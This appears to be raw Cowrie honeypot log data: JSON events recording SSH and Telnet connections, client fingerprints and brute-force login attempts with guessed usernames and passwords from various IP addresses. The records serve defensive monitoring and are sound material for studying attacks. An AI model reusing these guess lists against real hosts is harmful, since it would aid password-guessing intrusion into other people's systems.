{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:c9:dd:bb:d4:7f:cc:6a:df:26:ed:e5:1d:c8:09:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8CUHtJcswMMgL7gWGNmvF6onTV8YYZd9pANB/WOHe+MjQ4dxlJu1Bq30oXjdcF9Jn26feao2+VbGpr3jL16JUlwMmAdcppG/YB+xUw96FFafBUS+h1UL8Q+zv/LiMmORqOkRt+cUaFE0ju3Z3i11VNeNi87i70qRKIArCc3Uytghbk4Jdtb47PFpTjX2PhhsPu4y0IWHqwCvn3AC0LnNIF2Hep0CbZwhJk9+VApygnYMuNpjb/1qMobLID7xEOZQtHb2zWpCHfUF+qZkQ/7AEYYDg3dTKgIv3OItRhkRmKfdmol2JLNtSDLfNXS74PIxdjO/A3fT0lr+NXUoKZXKkc74rHjwD+e0daTxHse+rYNI/PqhwF8PtTBb8j9G0Tmd0WoqJi6Xp3RQDIFJUvB1AArDqrgHoMe+YDaOMrqP71GqYS0qGhzEV+Rg0sNBYtZbPJWDec5NNBreJmZ5l/XjADAeqZq8bO81CKm8iUSHUVz1w1svK0RygQw2dK4CO0UU0gCz5L7SwW4iMLH3csai/nKUDXzzcIXPKURJwU4fABYeNR0Wony7FOd6Qyx2asDfgGr8p8VngqHR076btoXjzrlrDbflsOF9MNSQ3ukKv+D6BUf39qbyboZ03WfkuIp+2VP2YaVMHkycc7HEEMSLPVMLX76OV/fAdZPIOcXAtbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.425340Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.517284Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01129722595215,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:51.066311Z","src_ip":"76.167.160.21","session":"1aa031362fdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.78270173072815,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:53.324038Z","src_ip":"165.227.202.48","session":"d35de0a5a00e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":35661,"dst_ip":"10.17.0.5","dst_port":22,"session":"69da9af0657e","protocol":"ssh","message":"New connection: 213.209.159.56:35661 (10.17.0.5:22) [session: 69da9af0657e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:06.298922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:06.304056Z","src_ip":"213.209.159.56","session":"69da9af0657e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:06.387005Z","src_ip":"213.209.159.56","session":"69da9af0657e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brynne","password":"brynne","message":"login attempt [brynne/brynne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:06.787874Z","src_ip":"213.209.159.56","session":"69da9af0657e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brynne","password":"brynne1","message":"login attempt [brynne/brynne1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:07.873561Z","src_ip":"213.209.159.56","session":"69da9af0657e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brynne","password":"brynne123","message":"login attempt [brynne/brynne123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:08.958818Z","src_ip":"213.209.159.56","session":"69da9af0657e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brynne","password":"brynne1234","message":"login attempt [brynne/brynne1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:10.047322Z","src_ip":"213.209.159.56","session":"69da9af0657e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brynne","password":"brynne12345","message":"login attempt [brynne/brynne12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:11.133184Z","src_ip":"213.209.159.56","session":"69da9af0657e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:12.219960Z","src_ip":"213.209.159.56","session":"69da9af0657e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":46400,"dst_ip":"159.203.135.109","dst_port":22,"session":"caab321b9a15","protocol":"ssh","message":"New connection: 194.59.206.2:46400 (159.203.135.109:22) [session: caab321b9a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:15.101415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:15.106578Z","src_ip":"194.59.206.2","session":"caab321b9a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:15.202463Z","src_ip":"194.59.206.2","session":"caab321b9a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:15.300797Z","src_ip":"194.59.206.2","session":"caab321b9a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":44113,"dst_ip":"159.203.135.109","dst_port":22,"session":"981d16e27d69","protocol":"ssh","message":"New connection: 2.57.121.112:44113 (159.203.135.109:22) [session: 981d16e27d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:39.790761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:39.795429Z","src_ip":"2.57.121.112","session":"981d16e27d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:39.895829Z","src_ip":"2.57.121.112","session":"981d16e27d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"emanuela","message":"login attempt [admin/emanuela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:40.366534Z","src_ip":"2.57.121.112","session":"981d16e27d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"email","message":"login attempt [admin/email] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:41.469304Z","src_ip":"2.57.121.112","session":"981d16e27d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"elizabeth1","message":"login attempt [admin/elizabeth1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:42.571661Z","src_ip":"2.57.121.112","session":"981d16e27d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"elfstone","message":"login attempt [admin/elfstone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:43.676250Z","src_ip":"2.57.121.112","session":"981d16e27d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"el546218","message":"login attempt [admin/el546218] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:44.779144Z","src_ip":"2.57.121.112","session":"981d16e27d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:45.882998Z","src_ip":"2.57.121.112","session":"981d16e27d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":50078,"dst_ip":"159.203.135.109","dst_port":22,"session":"de9b0395079f","protocol":"ssh","message":"New connection: 2.57.121.25:50078 (159.203.135.109:22) [session: de9b0395079f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:55.237100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:55.241590Z","src_ip":"2.57.121.25","session":"de9b0395079f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:55.336386Z","src_ip":"2.57.121.25","session":"de9b0395079f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ianian","message":"login attempt [user/ianian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:55.789036Z","src_ip":"2.57.121.25","session":"de9b0395079f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hotty","message":"login attempt [user/hotty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:56.887569Z","src_ip":"2.57.121.25","session":"de9b0395079f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hotsauce","message":"login attempt [user/hotsauce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:57.986947Z","src_ip":"2.57.121.25","session":"de9b0395079f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hometown","message":"login attempt [user/hometown] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:22:59.084827Z","src_ip":"2.57.121.25","session":"de9b0395079f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"holahola","message":"login attempt [user/holahola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:23:00.183358Z","src_ip":"2.57.121.25","session":"de9b0395079f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:23:01.282028Z","src_ip":"2.57.121.25","session":"de9b0395079f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":39824,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd77d1739288","protocol":"telnet","message":"New connection: 167.71.238.254:39824 (10.17.0.5:23) [session: bd77d1739288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:24:18.435203Z"}
{"eventid":"cowrie.session.closed","duration":17.157073497772217,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:24:35.592207Z","src_ip":"167.71.238.254","session":"bd77d1739288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.202.48","src_port":57494,"dst_ip":"10.17.0.5","dst_port":23,"session":"80ea0b962ac1","protocol":"telnet","message":"New connection: 165.227.202.48:57494 (10.17.0.5:23) [session: 80ea0b962ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:25:32.282605Z"}
{"eventid":"cowrie.session.closed","duration":42.572880268096924,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:26:14.855362Z","src_ip":"165.227.202.48","session":"80ea0b962ac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.73.122.64","src_port":41461,"dst_ip":"10.17.0.5","dst_port":23,"session":"d502a73ffd8f","protocol":"telnet","message":"New connection: 85.73.122.64:41461 (10.17.0.5:23) [session: d502a73ffd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:26:53.500122Z"}
{"eventid":"cowrie.session.closed","duration":13.297362089157104,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:27:06.797370Z","src_ip":"85.73.122.64","session":"d502a73ffd8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":52222,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d7cf7d6575e","protocol":"telnet","message":"New connection: 167.71.238.254:52222 (10.17.0.5:23) [session: 7d7cf7d6575e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:29:15.962001Z"}
{"eventid":"cowrie.session.closed","duration":30.687561750411987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:29:46.649234Z","src_ip":"167.71.238.254","session":"7d7cf7d6575e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.77.222.246","src_port":59158,"dst_ip":"10.17.0.5","dst_port":22,"session":"be7221338adf","protocol":"ssh","message":"New connection: 51.77.222.246:59158 (10.17.0.5:22) [session: be7221338adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.153748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.161241Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.245644Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:5f:2c:92:d9:1e:65:b4:4e:5b:98:68:f9:3a:1e:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg7lABcKhy5QZDgL9PK2OJEKa/KhatNDAerJZhtoo5iYqeWGbweNMko5jgJrsdf3CHJL3WZRuZYifcuaiwb9jAsiEy34e3y1SPhdmsdpp0xiuADlLh2Q+DcSDKP1Gqg9QQeYh6Fewoxh6AAZfvVRxkl7tPJ6wwOMNMBZad1If9TJZz+0StEoCZJPoJXQlOafyzsnc8SNDMOR+gGCJ9hOTTzNEHpjG1dDQwDzQA5/j1+TF18oWytIpJuJJBSaYFYBi/JNfnux0RT8q3XwVw27u05jBgQJ/laXTA4XTy99+LmCDPh4BK0JGvPkaZulDHqwl+XOSnR5G5qTfYq4l6ljQX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:5f:2c:92:d9:1e:65:b4:4e:5b:98:68:f9:3a:1e:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.639290Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:5f:2c:92:d9:1e:65:b4:4e:5b:98:68:f9:3a:1e:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg7lABcKhy5QZDgL9PK2OJEKa/KhatNDAerJZhtoo5iYqeWGbweNMko5jgJrsdf3CHJL3WZRuZYifcuaiwb9jAsiEy34e3y1SPhdmsdpp0xiuADlLh2Q+DcSDKP1Gqg9QQeYh6Fewoxh6AAZfvVRxkl7tPJ6wwOMNMBZad1If9TJZz+0StEoCZJPoJXQlOafyzsnc8SNDMOR+gGCJ9hOTTzNEHpjG1dDQwDzQA5/j1+TF18oWytIpJuJJBSaYFYBi/JNfnux0RT8q3XwVw27u05jBgQJ/laXTA4XTy99+LmCDPh4BK0JGvPkaZulDHqwl+XOSnR5G5qTfYq4l6ljQX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.644352Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:f9:c2:5d:8c:fa:49:41:87:de:38:65:73:23:a2:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvuH43cRmNLaJ/0hi/hp02lORZAe3RB7uUrdx2lt8bwD3G+is9hBo7J4g3ucgpVI5vyX6Z1i1C5WfwlLy8aHX6pwxSb/szT+MplaNLl1jxVlqqiYJPHkYEloPB4Sde7Eh2LScKxpWlKDZpizcDqGNWIcuKcu4194SrG+jt4iuHj91Hy8NpATrZsEVuRiLqsgpXSKyGJeHyd34AC/945F+WSJs8kmTBPTFNwAEzo3l/bIubDuCvW19HpDVphsUcSKhoZqWNa0k/6BHtSvsF/GIgL0/qtYXyqGRSWzUhJ4u7wA7hP/Ek12rBangBSCCZ/N0jKjpnewtgjvaC2RO9URET","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:f9:c2:5d:8c:fa:49:41:87:de:38:65:73:23:a2:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.730467Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
